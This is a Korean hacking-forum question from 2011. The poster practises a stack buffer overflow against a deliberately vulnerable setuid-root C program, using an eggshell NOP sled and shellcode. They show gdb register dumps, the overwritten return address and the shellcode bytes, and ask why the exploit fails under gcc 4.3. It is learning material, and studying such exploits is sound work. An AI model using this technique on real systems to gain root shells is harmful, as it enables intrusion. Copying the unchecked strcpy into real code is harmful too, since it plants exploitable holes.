|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1532 [복사]
안녕하세요?
gcc를 버젼 2점대로 다운 그래이딩하면 잘되는데, 4.3에서는 도저히 안되네요
확인좀 부탁드릴꼐요
소스
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[200];
if (argc > 1)
strcpy(buffer, argv[1]);
return(0);
}
공격 방법, eggshell 을 등록하고, eggshell을 인자로 받음
./exploit 280
Address of esp: 0xbffff8c4
user@box:~/proj2$ gdb ./vulnerable
(gdb) r $EGG
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/proj2/vulnerable $EGG
Breakpoint 3, 0x080483a8 in main (argc=Cannot access memory at address 0x0
) at vulnerable.c:5
5 {
(gdb) info registers
eax 0xbffff744 -1073744060
ecx 0xbffff6c0 -1073744192
edx 0x2 2
ebx 0xb7fd8ff4 -1208119308
esp 0xbffff6bc 0xbffff6bc <- 리턴어드레스입니다.(main함수)
ebp 0xbffff718 0xbffff718
esi 0x8048410 134513680
edi 0x80482f0 134513392
eip 0x80483a8 0x80483a8 <main+4>
(gdb) x/2x 0xbffff6bc <- esp를 출력해보았습니다.
0xbffff6bc: 0xb7e98455 0x00000002
(gdb) c
Continuing.
## strcpy 바로 다음에 bp걸어놓고 다시한번 리턴어드레스 주소를 열어보았습니다.
Breakpoint 2, main (argc=-1073743676, argv=0xbffff8c4) at vulnerable.c:9
9 return(0);
(gdb) info registers
eax 0xbffff5dc -1073744420
ecx 0xbffff5db -1073744421
edx 0x114 276
ebx 0xb7fd8ff4 -1208119308
esp 0xbffff5c0 0xbffff5c0
ebp 0xbffff6a8 0xbffff6a8
esi 0x8048410 134513680
edi 0x80482f0 134513392
eip 0x80483e9 0x80483e9 <main+69>
(gdb) x/4x 0xbffff6bc
0xbffff6bc: 0xbffff8c4 0xbffff8c4 0xbffff8c4 0xbffff8c4
위에서 보신것처럼 리턴어드레스가 제가 원하는 NOP이 있는 주소로 변경되었습니다.
(gdb) x/16x 0xbffff8c4
0xbffff8c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8e4: 0x5e1feb90 0x31087689 0x074688c0 0xb00c4689
0xbffff8f4: 0x8df3890b 0x568d084e 0x3180cd0c 0x40d889db
해당 스택 주소를 찍어보았습니다. 예상대로 NOP이 들어가 있어서 쉘코드까지 잘 탈거라 예상했는데
그냥 정상 종료됩니다.
아래는 setuid를 준 상태입니다.
-rwsr-xr-x 1 root root 7256 2011-08-31 01:47 vulnerable
무엇이 문제일까요??????????? 2틀째 삽질하고 있습니다.
사실 -mpreferred-stack-boundary=2 옵션 주고 gcc 컴파일하면 잘되는데
현재 gcc 버젼에서 해보고 싶습니다.
감사합니다. |
Hit : 3524 Date : 2011/10/11 04:35
|